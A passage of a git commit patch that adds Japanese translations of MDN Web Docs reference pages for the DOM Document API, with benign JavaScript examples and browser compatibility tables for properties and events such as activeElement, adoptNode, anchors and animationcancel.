From 33058f2b292b3a581333bdfb21b8f671898c5060 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:40:17 -0500 Subject: initial commit --- files/ja/web/api/document/activeelement/index.html | 143 +++++ files/ja/web/api/document/adoptnode/index.html | 96 +++ files/ja/web/api/document/alinkcolor/index.html | 40 ++ files/ja/web/api/document/all/index.html | 54 ++ files/ja/web/api/document/anchors/index.html | 117 ++++ .../api/document/animationcancel_event/index.html | 93 +++ .../web/api/document/animationend_event/index.html | 92 +++ .../document/animationiteration_event/index.html | 98 +++ .../api/document/animationstart_event/index.html | 95 +++ files/ja/web/api/document/applets/index.html | 66 ++ files/ja/web/api/document/async/index.html | 45 ++ files/ja/web/api/document/bgcolor/index.html | 46 ++ files/ja/web/api/document/body/index.html | 90 +++ .../api/document/caretrangefrompoint/index.html | 90 +++ files/ja/web/api/document/characterset/index.html | 61 ++ files/ja/web/api/document/clear/index.html | 33 + files/ja/web/api/document/close/index.html | 62 ++ files/ja/web/api/document/compatmode/index.html | 64 ++ files/ja/web/api/document/contenttype/index.html | 56 ++ files/ja/web/api/document/cookie/index.html | 251 ++++++++ files/ja/web/api/document/copy_event/index.html | 76 +++ .../web/api/document/createcdatasection/index.html | 67 +++ files/ja/web/api/document/createcomment/index.html | 60 ++ .../api/document/createdocumentfragment/index.html | 97 +++ files/ja/web/api/document/createelement/index.html | 136 +++++ .../ja/web/api/document/createelementns/index.html | 123 ++++ .../api/document/createentityreference/index.html | 25 + files/ja/web/api/document/createevent/index.html | 109 ++++ .../web/api/document/createexpression/index.html | 47 ++ .../web/api/document/createnodeiterator/index.html | 156 +++++ .../web/api/document/creatensresolver/index.html | 71 +++ .../createprocessinginstruction/index.html | 98 +++ files/ja/web/api/document/createrange/index.html | 60 ++ .../ja/web/api/document/createtextnode/index.html | 81 +++ files/ja/web/api/document/createtouch/index.html | 118 ++++ .../ja/web/api/document/createtouchlist/index.html | 99 +++ files/ja/web/api/document/currentscript/index.html | 68 +++ files/ja/web/api/document/cut_event/index.html | 76 +++ files/ja/web/api/document/defaultview/index.html | 97 +++ files/ja/web/api/document/designmode/index.html | 66 ++ files/ja/web/api/document/dir/index.html | 51 ++ files/ja/web/api/document/doctype/index.html | 66 ++ files/ja/web/api/document/document/index.html | 44 ++ .../ja/web/api/document/documentelement/index.html | 62 ++ files/ja/web/api/document/documenturi/index.html | 57 ++ .../web/api/document/documenturiobject/index.html | 46 ++ files/ja/web/api/document/domain/index.html | 91 +++ .../api/document/domcontentloaded_event/index.html | 190 ++++++ files/ja/web/api/document/drag_event/index.html | 183 ++++++ files/ja/web/api/document/dragend_event/index.html | 100 ++++ .../ja/web/api/document/dragenter_event/index.html | 102 ++++ .../ja/web/api/document/dragleave_event/index.html | 100 ++++ .../ja/web/api/document/dragover_event/index.html | 102 ++++ .../ja/web/api/document/dragstart_event/index.html | 96 +++ files/ja/web/api/document/drop_event/index.html | 96 +++ .../web/api/document/elementfrompoint/index.html | 49 ++ files/ja/web/api/document/embeds/index.html | 50 ++ .../document/enablestylesheetsforset/index.html | 60 ++ files/ja/web/api/document/evaluate/index.html | 209 +++++++ files/ja/web/api/document/execcommand/index.html | 180 ++++++ .../ja/web/api/document/exitfullscreen/index.html | 89 +++ .../ja/web/api/document/exitpointerlock/index.html | 54 ++ files/ja/web/api/document/featurepolicy/index.html | 48 ++ files/ja/web/api/document/fgcolor/index.html | 49 ++ files/ja/web/api/document/fonts/index.html | 66 ++ files/ja/web/api/document/forms/index.html | 128 ++++ files/ja/web/api/document/fullscreen/index.html | 80 +++ .../api/document/fullscreenchange_event/index.html | 90 +++ .../web/api/document/fullscreenenabled/index.html | 79 +++ .../api/document/fullscreenerror_event/index.html | 81 +++ files/ja/web/api/document/getanimations/index.html | 81 +++ .../ja/web/api/document/getboxobjectfor/index.html | 49 ++ .../ja/web/api/document/getelementbyid/index.html | 151 +++++ .../api/document/getelementsbyclassname/index.html | 138 +++++ .../web/api/document/getelementsbyname/index.html | 99 +++ .../api/document/getelementsbytagname/index.html | 128 ++++ .../api/document/getelementsbytagnamens/index.html | 164 +++++ files/ja/web/api/document/getselection/index.html | 12 + .../document/gotpointercapture_event/index.html | 108 ++++ files/ja/web/api/document/hasfocus/index.html | 95 +++ .../web/api/document/hasstorageaccess/index.html | 57 ++ files/ja/web/api/document/head/index.html | 84 +++ files/ja/web/api/document/height/index.html | 53 ++ files/ja/web/api/document/hidden/index.html | 53 ++ files/ja/web/api/document/images/index.html | 38 ++ .../ja/web/api/document/implementation/index.html | 68 +++ files/ja/web/api/document/importnode/index.html | 111 ++++ files/ja/web/api/document/index.html | 664 +++++++++++++++++++++ files/ja/web/api/document/inputencoding/index.html | 25 + files/ja/web/api/document/keydown_event/index.html | 103 ++++ files/ja/web/api/document/keyup_event/index.html | 107 ++++ files/ja/web/api/document/lastmodified/index.html | 96 +++ .../web/api/document/laststylesheetset/index.html | 53 ++ files/ja/web/api/document/linkcolor/index.html | 56 ++ files/ja/web/api/document/links/index.html | 31 + files/ja/web/api/document/location/index.html | 73 +++ .../document/lostpointercapture_event/index.html | 108 ++++ .../api/document/onafterscriptexecute/index.html | 52 ++ .../api/document/onbeforescriptexecute/index.html | 47 ++ .../web/api/document/onfullscreenchange/index.html | 76 +++ .../web/api/document/onfullscreenerror/index.html | 76 +++ files/ja/web/api/document/onoffline/index.html | 14 + files/ja/web/api/document/ononline/index.html | 39 ++ .../web/api/document/onselectionchange/index.html | 61 ++ files/ja/web/api/document/open/index.html | 114 ++++ files/ja/web/api/document/origin/index.html | 48 ++ files/ja/web/api/document/paste_event/index.html | 76 +++ files/ja/web/api/document/plugins/index.html | 57 ++ .../api/document/pointercancel_event/index.html | 107 ++++ .../web/api/document/pointerdown_event/index.html | 82 +++ .../web/api/document/pointerenter_event/index.html | 91 +++ .../web/api/document/pointerleave_event/index.html | 91 +++ .../document/pointerlockchange_event/index.html | 80 +++ .../api/document/pointerlockerror_event/index.html | 83 +++ .../web/api/document/pointermove_event/index.html | 93 +++ .../web/api/document/pointerout_event/index.html | 91 +++ .../web/api/document/pointerover_event/index.html | 93 +++ .../ja/web/api/document/pointerup_event/index.html | 93 +++ .../api/document/preferredstylesheetset/index.html | 49 ++ .../web/api/document/querycommandstate/index.html | 89 +++ .../api/document/querycommandsupported/index.html | 78 +++ files/ja/web/api/document/queryselector/index.html | 135 +++++ .../web/api/document/queryselectorall/index.html | 180 ++++++ files/ja/web/api/document/readystate/index.html | 133 +++++ .../api/document/readystatechange_event/index.html | 144 +++++ files/ja/web/api/document/referrer/index.html | 52 ++ .../ja/web/api/document/releasecapture/index.html | 42 ++ .../api/document/requeststorageaccess/index.html | 130 ++++ files/ja/web/api/document/scripts/index.html | 61 ++ files/ja/web/api/document/scroll_event/index.html | 100 ++++ .../web/api/document/scrollingelement/index.html | 59 ++ .../api/document/selectedstylesheetset/index.html | 50 ++ .../api/document/selectionchange_event/index.html | 81 +++ .../web/api/document/selectstart_event/index.html | 73 +++ .../ja/web/api/document/stylesheetsets/index.html | 59 ++ files/ja/web/api/document/title/index.html | 80 +++ files/ja/web/api/document/tooltipnode/index.html | 32 + .../web/api/document/touchcancel_event/index.html | 54 ++ .../ja/web/api/document/touchend_event/index.html | 59 ++ .../ja/web/api/document/touchmove_event/index.html | 76 +++ .../web/api/document/touchstart_event/index.html | 56 ++ .../api/document/transitioncancel_event/index.html | 95 +++ .../api/document/transitionend_event/index.html | 94 +++ .../api/document/transitionrun_event/index.html | 93 +++ .../api/document/transitionstart_event/index.html | 95 +++ files/ja/web/api/document/url/index.html | 75 +++ .../api/document/visibilitychange_event/index.html | 84 +++ .../ja/web/api/document/visibilitystate/index.html | 65 ++ files/ja/web/api/document/vlinkcolor/index.html | 47 ++ files/ja/web/api/document/width/index.html | 59 ++ files/ja/web/api/document/write/index.html | 112 ++++ files/ja/web/api/document/writeln/index.html | 66 ++ files/ja/web/api/document/xmlversion/index.html | 36 ++ 153 files changed, 13282 insertions(+) create mode 100644 files/ja/web/api/document/activeelement/index.html create mode 100644 files/ja/web/api/document/adoptnode/index.html create mode 100644 files/ja/web/api/document/alinkcolor/index.html create mode 100644 files/ja/web/api/document/all/index.html create mode 100644 files/ja/web/api/document/anchors/index.html create mode 100644 files/ja/web/api/document/animationcancel_event/index.html create mode 100644 files/ja/web/api/document/animationend_event/index.html create mode 100644 files/ja/web/api/document/animationiteration_event/index.html create mode 100644 files/ja/web/api/document/animationstart_event/index.html create mode 100644 files/ja/web/api/document/applets/index.html create mode 100644 files/ja/web/api/document/async/index.html create mode 100644 files/ja/web/api/document/bgcolor/index.html create mode 100644 files/ja/web/api/document/body/index.html create mode 100644 files/ja/web/api/document/caretrangefrompoint/index.html create mode 100644 files/ja/web/api/document/characterset/index.html create mode 100644 files/ja/web/api/document/clear/index.html create mode 100644 files/ja/web/api/document/close/index.html create mode 100644 files/ja/web/api/document/compatmode/index.html create mode 100644 files/ja/web/api/document/contenttype/index.html create mode 100644 files/ja/web/api/document/cookie/index.html create mode 100644 files/ja/web/api/document/copy_event/index.html create mode 100644 files/ja/web/api/document/createcdatasection/index.html create mode 100644 files/ja/web/api/document/createcomment/index.html create mode 100644 files/ja/web/api/document/createdocumentfragment/index.html create mode 100644 files/ja/web/api/document/createelement/index.html create mode 100644 files/ja/web/api/document/createelementns/index.html create mode 100644 files/ja/web/api/document/createentityreference/index.html create mode 100644 files/ja/web/api/document/createevent/index.html create mode 100644 files/ja/web/api/document/createexpression/index.html create mode 100644 files/ja/web/api/document/createnodeiterator/index.html create mode 100644 files/ja/web/api/document/creatensresolver/index.html create mode 100644 files/ja/web/api/document/createprocessinginstruction/index.html create mode 100644 files/ja/web/api/document/createrange/index.html create mode 100644 files/ja/web/api/document/createtextnode/index.html create mode 100644 files/ja/web/api/document/createtouch/index.html create mode 100644 files/ja/web/api/document/createtouchlist/index.html create mode 100644 files/ja/web/api/document/currentscript/index.html create mode 100644 files/ja/web/api/document/cut_event/index.html create mode 100644 files/ja/web/api/document/defaultview/index.html create mode 100644 files/ja/web/api/document/designmode/index.html create mode 100644 files/ja/web/api/document/dir/index.html create mode 100644 files/ja/web/api/document/doctype/index.html create mode 100644 files/ja/web/api/document/document/index.html create mode 100644 files/ja/web/api/document/documentelement/index.html create mode 100644 files/ja/web/api/document/documenturi/index.html create mode 100644 files/ja/web/api/document/documenturiobject/index.html create mode 100644 files/ja/web/api/document/domain/index.html create mode 100644 files/ja/web/api/document/domcontentloaded_event/index.html create mode 100644 files/ja/web/api/document/drag_event/index.html create mode 100644 files/ja/web/api/document/dragend_event/index.html create mode 100644 files/ja/web/api/document/dragenter_event/index.html create mode 100644 files/ja/web/api/document/dragleave_event/index.html create mode 100644 files/ja/web/api/document/dragover_event/index.html create mode 100644 files/ja/web/api/document/dragstart_event/index.html create mode 100644 files/ja/web/api/document/drop_event/index.html create mode 100644 files/ja/web/api/document/elementfrompoint/index.html create mode 100644 files/ja/web/api/document/embeds/index.html create mode 100644 files/ja/web/api/document/enablestylesheetsforset/index.html create mode 100644 files/ja/web/api/document/evaluate/index.html create mode 100644 files/ja/web/api/document/execcommand/index.html create mode 100644 files/ja/web/api/document/exitfullscreen/index.html create mode 100644 files/ja/web/api/document/exitpointerlock/index.html create mode 100644 files/ja/web/api/document/featurepolicy/index.html create mode 100644 files/ja/web/api/document/fgcolor/index.html create mode 100644 files/ja/web/api/document/fonts/index.html create mode 100644 files/ja/web/api/document/forms/index.html create mode 100644 files/ja/web/api/document/fullscreen/index.html create mode 100644 files/ja/web/api/document/fullscreenchange_event/index.html create mode 100644 files/ja/web/api/document/fullscreenenabled/index.html create mode 100644 files/ja/web/api/document/fullscreenerror_event/index.html create mode 100644 files/ja/web/api/document/getanimations/index.html create mode 100644 files/ja/web/api/document/getboxobjectfor/index.html create mode 100644 files/ja/web/api/document/getelementbyid/index.html create mode 100644 files/ja/web/api/document/getelementsbyclassname/index.html create mode 100644 files/ja/web/api/document/getelementsbyname/index.html create mode 100644 files/ja/web/api/document/getelementsbytagname/index.html create mode 100644 files/ja/web/api/document/getelementsbytagnamens/index.html create mode 100644 files/ja/web/api/document/getselection/index.html create mode 100644 files/ja/web/api/document/gotpointercapture_event/index.html create mode 100644 files/ja/web/api/document/hasfocus/index.html create mode 100644 files/ja/web/api/document/hasstorageaccess/index.html create mode 100644 files/ja/web/api/document/head/index.html create mode 100644 files/ja/web/api/document/height/index.html create mode 100644 files/ja/web/api/document/hidden/index.html create mode 100644 files/ja/web/api/document/images/index.html create mode 100644 files/ja/web/api/document/implementation/index.html create mode 100644 files/ja/web/api/document/importnode/index.html create mode 100644 files/ja/web/api/document/index.html create mode 100644 files/ja/web/api/document/inputencoding/index.html create mode 100644 files/ja/web/api/document/keydown_event/index.html create mode 100644 files/ja/web/api/document/keyup_event/index.html create mode 100644 files/ja/web/api/document/lastmodified/index.html create mode 100644 files/ja/web/api/document/laststylesheetset/index.html create mode 100644 files/ja/web/api/document/linkcolor/index.html create mode 100644 files/ja/web/api/document/links/index.html create mode 100644 files/ja/web/api/document/location/index.html create mode 100644 files/ja/web/api/document/lostpointercapture_event/index.html create mode 100644 files/ja/web/api/document/onafterscriptexecute/index.html create mode 100644 files/ja/web/api/document/onbeforescriptexecute/index.html create mode 100644 files/ja/web/api/document/onfullscreenchange/index.html create mode 100644 files/ja/web/api/document/onfullscreenerror/index.html create mode 100644 files/ja/web/api/document/onoffline/index.html create mode 100644 files/ja/web/api/document/ononline/index.html create mode 100644 files/ja/web/api/document/onselectionchange/index.html create mode 100644 files/ja/web/api/document/open/index.html create mode 100644 files/ja/web/api/document/origin/index.html create mode 100644 files/ja/web/api/document/paste_event/index.html create mode 100644 files/ja/web/api/document/plugins/index.html create mode 100644 files/ja/web/api/document/pointercancel_event/index.html create mode 100644 files/ja/web/api/document/pointerdown_event/index.html create mode 100644 files/ja/web/api/document/pointerenter_event/index.html create mode 100644 files/ja/web/api/document/pointerleave_event/index.html create mode 100644 files/ja/web/api/document/pointerlockchange_event/index.html create mode 100644 files/ja/web/api/document/pointerlockerror_event/index.html create mode 100644 files/ja/web/api/document/pointermove_event/index.html create mode 100644 files/ja/web/api/document/pointerout_event/index.html create mode 100644 files/ja/web/api/document/pointerover_event/index.html create mode 100644 files/ja/web/api/document/pointerup_event/index.html create mode 100644 files/ja/web/api/document/preferredstylesheetset/index.html create mode 100644 files/ja/web/api/document/querycommandstate/index.html create mode 100644 files/ja/web/api/document/querycommandsupported/index.html create mode 100644 files/ja/web/api/document/queryselector/index.html create mode 100644 files/ja/web/api/document/queryselectorall/index.html create mode 100644 files/ja/web/api/document/readystate/index.html create mode 100644 files/ja/web/api/document/readystatechange_event/index.html create mode 100644 files/ja/web/api/document/referrer/index.html create mode 100644 files/ja/web/api/document/releasecapture/index.html create mode 100644 files/ja/web/api/document/requeststorageaccess/index.html create mode 100644 files/ja/web/api/document/scripts/index.html create mode 100644 files/ja/web/api/document/scroll_event/index.html create mode 100644 files/ja/web/api/document/scrollingelement/index.html create mode 100644 files/ja/web/api/document/selectedstylesheetset/index.html create mode 100644 files/ja/web/api/document/selectionchange_event/index.html create mode 100644 files/ja/web/api/document/selectstart_event/index.html create mode 100644 files/ja/web/api/document/stylesheetsets/index.html create mode 100644 files/ja/web/api/document/title/index.html create mode 100644 files/ja/web/api/document/tooltipnode/index.html create mode 100644 files/ja/web/api/document/touchcancel_event/index.html create mode 100644 files/ja/web/api/document/touchend_event/index.html create mode 100644 files/ja/web/api/document/touchmove_event/index.html create mode 100644 files/ja/web/api/document/touchstart_event/index.html create mode 100644 files/ja/web/api/document/transitioncancel_event/index.html create mode 100644 files/ja/web/api/document/transitionend_event/index.html create mode 100644 files/ja/web/api/document/transitionrun_event/index.html create mode 100644 files/ja/web/api/document/transitionstart_event/index.html create mode 100644 files/ja/web/api/document/url/index.html create mode 100644 files/ja/web/api/document/visibilitychange_event/index.html create mode 100644 files/ja/web/api/document/visibilitystate/index.html create mode 100644 files/ja/web/api/document/vlinkcolor/index.html create mode 100644 files/ja/web/api/document/width/index.html create mode 100644 files/ja/web/api/document/write/index.html create mode 100644 files/ja/web/api/document/writeln/index.html create mode 100644 files/ja/web/api/document/xmlversion/index.html (limited to 'files/ja/web/api/document') diff --git a/files/ja/web/api/document/activeelement/index.html b/files/ja/web/api/document/activeelement/index.html new file mode 100644 index 0000000000..ba438793b8 --- /dev/null +++ b/files/ja/web/api/document/activeelement/index.html @@ -0,0 +1,143 @@ +--- +title: document.activeElement +slug: Web/API/Document/activeElement +tags: + - DOM + - Focus + - Gecko + - HTML5 + - NeedsTranslation + - 要更新 +translation_of: Web/API/DocumentOrShadowRoot/activeElement +--- +
{{ApiRef}}
+ +

概要

+ +

Returns the currently focused element, that is, the element that will get keystroke events if the user types any. This attribute is read only.

+ +

Often this will return an {{HTMLElement("input")}} or {{HTMLElement("textarea")}} object, if it has the text selection at the time.  If so, you can get more detail by using the element's selectionStart and selectionEnd properties.  Other times the focused element might be a {{HTMLElement("select")}} element (menu) or an {{HTMLElement("input")}} element, of type button, checkbox or radio.

+ +
注記: On Mac, elements that aren't text input elements tend not to get focus assigned to them.
+ +

Typically a user can press the tab key to move the focus around the page among focusable elements, and use the space bar to activate it (press a button, choose a radio).

+ +

Do not confuse focus with a selection over the document, consisting mostly of static text nodes.  See {{domxref("window.getSelection()")}} for that.

+ +

When there is no selection, the active element is the page's {{HTMLElement("body")}}.

+ +

{{Note("This attribute is part of the in-development HTML 5 specification.")}}

+ +

構文

+ +
var curElement = document.activeElement;
+
+ +

例

+ +
<!DOCTYPE HTML>
+<html>
+<head>
+    <script type="text/javascript" charset="utf-8">
+    function init() {
+
+        function onMouseUp(e) {
+            console.log(e);
+            var outputElement = document.getElementById('output-element');
+            var outputText = document.getElementById('output-text');
+            var selectedTextArea = document.activeElement;
+            var selection = selectedTextArea.value.substring(
+            selectedTextArea.selectionStart, selectedTextArea.selectionEnd);
+            outputElement.innerHTML = selectedTextArea.id;
+            outputText.innerHTML = selection;
+        }
+
+        document.getElementById("ta-example-one").addEventListener("mouseup", onMouseUp, false);
+        document.getElementById("ta-example-two").addEventListener("mouseup", onMouseUp, false);
+    }
+    </script>
+</head>
+<body onload="init()">
+<div>
+    Select some text from one of the Textareas below:
+</div>
+<form id="frm-example" action="#" accept-charset="utf-8">
+<textarea name="ta-example-one" id="ta-example-one" rows="8" cols="40">
+This is Textarea Example One:
+Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.
+</textarea>
+<textarea name="ta-example-two" id="ta-example-two" rows="8" cols="40">
+This is Textarea Example Two:
+Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.
+</textarea>
+</form>
+Active Element Id: <span id="output-element"></span><br/>
+Selected Text: <span id="output-text"></span>
+
+</body>
+</html>
+
+ +

JSFiddle で確認

+ +

注記

+ +

Originally introduced as a proprietary DOM extension in Internet Explorer 4, this property also is supported in Opera and Safari (as of version 4).

+ +

仕様

+ + + +

ブラウザ実装状況

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
機能ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本サポート23.049.64.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
機能AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本サポート{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

 

diff --git a/files/ja/web/api/document/adoptnode/index.html b/files/ja/web/api/document/adoptnode/index.html new file mode 100644 index 0000000000..a43521e7ce --- /dev/null +++ b/files/ja/web/api/document/adoptnode/index.html @@ -0,0 +1,96 @@ +--- +title: Document.adoptNode() +slug: Web/API/Document/adoptNode +tags: + - API + - DOM + - DOM Reference + - Method + - NeedsExample + - NeedsSpecTable + - NeedsUpdate + - Reference +translation_of: Web/API/Document/adoptNode +--- +
{{ ApiRef("DOM") }}
+ +

Document.adoptNode() は、{{Glossary("node/dom", "ノード")}}を他の{{domxref("Document", "文書", "", "1")}}からメソッドの文書へ移動します。取り込まれたノードおよびそのサブツリーは (もしあれば) 元の文書から削除され、 {{domxref("Node.ownerDocument", "ownerDocument")}} が現在の文書に変更されます。その後、ノードを現在の文書に挿入することができます。

+ +

構文

+ +
const importedNode = document.adoptNode(externalNode);
+
+ +

引数

+ +
+
externalNode
+
他の文書から取り込まれるノードです。
+
+ +

返値

+ +

インポートする文書のスコープ内にコピーされた importedNode。

+ +

このメソッドを呼び出した後、 importedNode および externalNode は同じオブジェクトになります。

+ +
+

注: importedNode の {{domxref("Node.parentNode")}} は、まだ文書ツリーに挿入されていないので null です。

+
+ +

例

+ +
const iframe = document.querySelector('iframe');
+const iframeImages = iframe.contentDocument.querySelectorAll('img');
+const newParent = document.getElementById('images');
+
+iframeImages.forEach(function(imgEl) {
+  newParent.appendChild(document.adoptNode(imgEl));
+});
+
+ +

注

+ +

外部の文書から取り込まれるノードは、現在の文書に挿入する前に、次のいずれかを実行してください。

+ + + +
+

ベストプラクティス: Firefox は現在はこの規則を強制しませんが、将来の互換性を向上するためにこの規則に従うことを強くお勧めします。

+
+ +

{{domXref("Node.ownerDocument")}} の問題についての詳細は、 W3C DOM FAQ を参照してください。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-adoptnode', 'document.adoptNode')}}{{Spec2('DOM WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.adoptNode")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/alinkcolor/index.html b/files/ja/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..6577461935 --- /dev/null +++ b/files/ja/web/api/document/alinkcolor/index.html @@ -0,0 +1,40 @@ +--- +title: Document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - API + - DOM + - Deprecated + - Document + - Reference + - alinkColor + - プロパティ +translation_of: Web/API/Document/alinkColor +--- +
{{APIRef("DOM")}}{{Deprecated_header}}
+ +

文書本文のアクティブなリンクの色を取得または設定します。リンクは mousedown と mouseup イベントの間にアクティブになります。

+ +

構文

+ +
var color = document.alinkColor;
+document.alinkColor = color;
+
+ +

color は文字列で、色の名前 (blue, darkblue, など) または色の16進値 (#0000FF など) が入ります。

+ +

メモ

+ +

Mozilla Firefox では、このプロパティの既定値は赤 (16進で #ee0000) です。

+ +

document.alinkColor は DOM Level 2 HTML で非推奨となっています。代替方法の一つは CSS セレクターの {{Cssxref(":active")}} です。

+ +

他の代替手段として document.body.alink がありますが、上記の CSS による代替手段が設置されたため HTML 4.01 で非推奨となっています。

+ +

Gecko は alinkColor/:active および {{Cssxref(":focus")}} の両方に対応しています。 Internet Explorer 6 および 7 は HTML アンカー (<a>) リンクには alinkColor/:active のみに対応しており、 :focus は Gecko と同様に動作します。 IE は :focus には対応していません。

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.alinkColor")}}

diff --git a/files/ja/web/api/document/all/index.html b/files/ja/web/api/document/all/index.html new file mode 100644 index 0000000000..cdf0bfb17d --- /dev/null +++ b/files/ja/web/api/document/all/index.html @@ -0,0 +1,54 @@ +--- +title: Document.all +slug: Web/API/Document/all +tags: + - API + - DOM + - Document + - HTMLAllCollection + - Property + - Reference + - all +translation_of: Web/API/Document/all +--- +
{{APIRef("DOM")}}{{Draft}}{{Deprecated_Header("HTML5")}}
+ +

{{DOMxRef("Document")}} インターフェイスの all プロパティは読み取り専用で、 document ノードをルートとした {{DOMxRef("HTMLAllCollection")}} を返します。言い換えれば、文書のすべての要素を、 (配列のように) 順序および (通常のオブジェクトのように) ID でアクセスすることができる形で返します。

+ +

構文

+ +
var htmlAllCollection = document.all;
+ +

値

+ +

文書のすべてのノードを含む {{DOMxRef("HTMLAllCollection")}} です。

+ +

論理型への変換

+ +

document.all は JavaScript からアクセスすることができる唯一の{{Glossary("falsy", "値が偽となる")}}オブジェクトです。これは、[[IsHTMLDDA]] 内部スロットを持つためです。これは、 Internet Explorer の古いバージョンとの互換性のために行われています。これについての詳細な情報は、 StackOverflow のこの回答にあります。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-all', 'all')}}{{Spec2('HTML WHATWG')}}初回定義
+ 廃止された古い API の節で定義。
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.all")}}

diff --git a/files/ja/web/api/document/anchors/index.html b/files/ja/web/api/document/anchors/index.html new file mode 100644 index 0000000000..5ea288b926 --- /dev/null +++ b/files/ja/web/api/document/anchors/index.html @@ -0,0 +1,117 @@ +--- +title: Document.anchors +slug: Web/API/Document/anchors +tags: + - API + - DOM + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - anchors + - プロパティ +translation_of: Web/API/Document/anchors +--- +
{{APIRef("DOM")}} {{deprecated_header()}}
+ +

anchors は {{domxref("Document")}} インターフェイスの読み取り専用のプロパティで、文書中のすべてのアンカーのリストを返します。

+ +

構文

+ +
nodeList = document.anchors;
+
+ +

値

+ +

{{domxref("HTMLCollection")}} です。

+ +

例

+ +
if (document.anchors.length >= 5) {
+  dump("dump found too many anchors");
+  window.location = "http://www.google.com";
+}
+
+ +

文書中のアンカーを基に目次を作成して文書に挿入する例を以下に示します。

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8" />
+<title>Test</title>
+<script>
+function init() {
+  var toc = document.getElementById("toc");
+  var i, li, newAnchor;
+  for (i = 0; i < document.anchors.length; i++) {
+    li = document.createElement("li");
+    newAnchor = document.createElement('a');
+    newAnchor.href = "#" + document.anchors[i].name;
+    newAnchor.innerHTML = document.anchors[i].text;
+    li.appendChild(newAnchor);
+    toc.appendChild(li);
+  }
+}
+</script>
+</head>
+<body onload="init()">
+
+<h1>Title</h1>
+<h2><a name="contents">Contents</a></h2>
+<ul id="toc"></ul>
+
+<h2><a name="plants">Plants</a></h2>
+<ol>
+  <li>Apples</li>
+  <li>Oranges</li>
+  <li>Pears</li>
+</ol>
+
+<h2><a name="veggies">Veggies</a></h2>
+<ol>
+  <li>Carrots</li>
+  <li>Celery</li>
+  <li>Beats</li>
+</ol>
+
+</body>
+</html>
+
+ +

JSFiddle で確認

+ +

メモ

+ +

後方互換性のため、返されるアンカーのセットには name 属性を付けて作成されたアンカーのみが含まれ、 id 属性付きで作成されたものは含まれません。

+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-anchors', 'Document.anchors')}}{{ Spec2('HTML WHATWG') }}廃止
{{SpecName('DOM2 HTML', 'html.html#ID-7577272', 'Document.anchors')}}{{ Spec2('DOM2 Events') }}初回定義
+ +

ブラウザーの対応

+ + + +
{{Compat("api.Document.anchors")}}
diff --git a/files/ja/web/api/document/animationcancel_event/index.html b/files/ja/web/api/document/animationcancel_event/index.html new file mode 100644 index 0000000000..5bb21f57a7 --- /dev/null +++ b/files/ja/web/api/document/animationcancel_event/index.html @@ -0,0 +1,93 @@ +--- +title: 'Document: animationcancel イベント' +slug: Web/API/Document/animationcancel_event +tags: + - CSS Animations + - CSS アニメーション + - Document + - Event + - Reference + - Web + - animationcancel + - イベント + - ウェブ +translation_of: Web/API/Document/animationcancel_event +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

animationcancel イベントは、 CSS アニメーションが予期せず中断されたときに発生します。言い換えれば、 {{domxref("Document/animationend_event", "animationend")}} イベントを送出せずに実行が停止するときはいつでもです。これは {{cssxref("animation-name")}} が変更されてアニメーションが削除されたり、動いているノードが CSS を使用して非表示にされた場合などに起こることがあります。したがって、直接または原因として、その包含ノードのいずれかが隠されています。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("AnimationEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onanimationcancel","onanimationcancel")}}
+ +

このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 HTMLElement: animationcancel イベントを参照してください。

+ +

例

+ +

このコードはリスナーに animationcancel イベントを追加します。

+ +
document.addEventListener('animationcancel', () => {
+  console.log('アニメーションが取り消されました');
+});
+ +

同様に、 {{domxref("GlobalEventHandlers/onanimationcancel", "onanimationcancel")}} プロパティを addEventListener() の代わりに使用するとこうなります。

+ +
document.onanimationcancel = () => {
+  console.log('アニメーションが取り消されました');
+};
+ +

このイベントのライブデモを参照してください。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationcancel")}}{{Spec2("CSS3 Animations")}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.animationcancel_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/animationend_event/index.html b/files/ja/web/api/document/animationend_event/index.html new file mode 100644 index 0000000000..2f3987c296 --- /dev/null +++ b/files/ja/web/api/document/animationend_event/index.html @@ -0,0 +1,92 @@ +--- +title: 'Document: animationend イベント' +slug: Web/API/Document/animationend_event +tags: + - CSS Animations + - CSS アニメーション + - Document + - Event + - Reference + - Web + - animationend + - イベント +translation_of: Web/API/Document/animationend_event +--- +
{{APIRef}}
+ +

animationend イベントは、 CSS アニメーションが完了したときに発生します。アニメーションが完了前に中止された場合、例えば要素が DOM から削除されたりアニメーションが要素から削除されたりした場合、 animationend イベントは発生しません。

